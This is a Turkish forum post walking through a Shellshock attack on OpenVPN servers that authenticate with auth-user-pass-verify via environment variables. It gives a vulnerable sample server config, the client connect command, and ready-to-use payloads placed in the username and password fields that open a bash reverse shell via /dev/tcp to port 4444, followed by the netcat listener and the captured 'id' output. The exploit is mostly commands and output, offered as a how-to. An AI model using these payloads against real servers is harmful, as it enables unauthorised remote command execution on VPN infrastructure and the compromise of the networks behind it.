Dark-Defender
Kıdemli Üye
[COLOR="White[IMG]http://i.hizliresim.com/l1YQAp.png[/IMG]
Fredrik Strömbergin konu ile ilgili yaptığı açıklamada [URL="https://tik.lat/5aAUh"] https://news.ycombinator.com/item?id=8385332[/URL] openVPN yazılımı otantikasyon işlemi için auth-user-pass-verify modülünü kullanıyorsa, shellshock zafiyetine maruz kaldığı belirtilmekte. Bu durumun simülasyonunu yapmak için aşağıdaki örnek openvpn conf dosyasını kullanabiliriz.
Yukarıdakine benzer, yani auth-user-pass-verify modülünü kullanan OpenVPN sunucusuna aşağıdaki terminal komutu ile bağlantı gerçekleştirme talebi gönderilir.
Eğer bağlantı gerçekleşir ise openvpn kullanıcı adı ve şifre girilmesini bekleyecektir. Bu iki değişken üzerinden shellshock payloadı gönderilebilmektedir.
Shellshock zafiyeti exploit edilerek hedef OpenVPN sunucusundan reverse connection elde edilmiş olacaktır.
[/COLOR]
Fredrik Strömbergin konu ile ilgili yaptığı açıklamada [URL="https://tik.lat/5aAUh"] https://news.ycombinator.com/item?id=8385332[/URL] openVPN yazılımı otantikasyon işlemi için auth-user-pass-verify modülünü kullanıyorsa, shellshock zafiyetine maruz kaldığı belirtilmekte. Bu durumun simülasyonunu yapmak için aşağıdaki örnek openvpn conf dosyasını kullanabiliriz.
Kod:
### server.conf
port 1194
proto udp
dev tun
client-cert-not-required
auth-user-pass-verify /etc/openvpn/user.sh via-env
tmp-dir "/etc/openvpn/tmp"
ca ca.crt
cert testing.crt
key testing.key # This file should be kept secret
dh dh1024.pem
server 10.8.0.0 255.255.255.0
keepalive 10 120
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
client-cert-not-required
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
script-security 3
status openvpn-status.log
verb 3Yukarıdakine benzer, yani auth-user-pass-verify modülünü kullanan OpenVPN sunucusuna aşağıdaki terminal komutu ile bağlantı gerçekleştirme talebi gönderilir.
Kod:
sudo openvpn --client --remote 192.168.1.11 --auth-user-pass --ca ca.cert --comp-lzoEğer bağlantı gerçekleşir ise openvpn kullanıcı adı ve şifre girilmesini bekleyecektir. Bu iki değişken üzerinden shellshock payloadı gönderilebilmektedir.
Kod:
user:() { :;};/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1 &
pass:() { :;};/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1 &Shellshock zafiyeti exploit edilerek hedef OpenVPN sunucusundan reverse connection elde edilmiş olacaktır.
Kod:
### Port listening
nc -lvp 4444
### Connection
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)[/COLOR]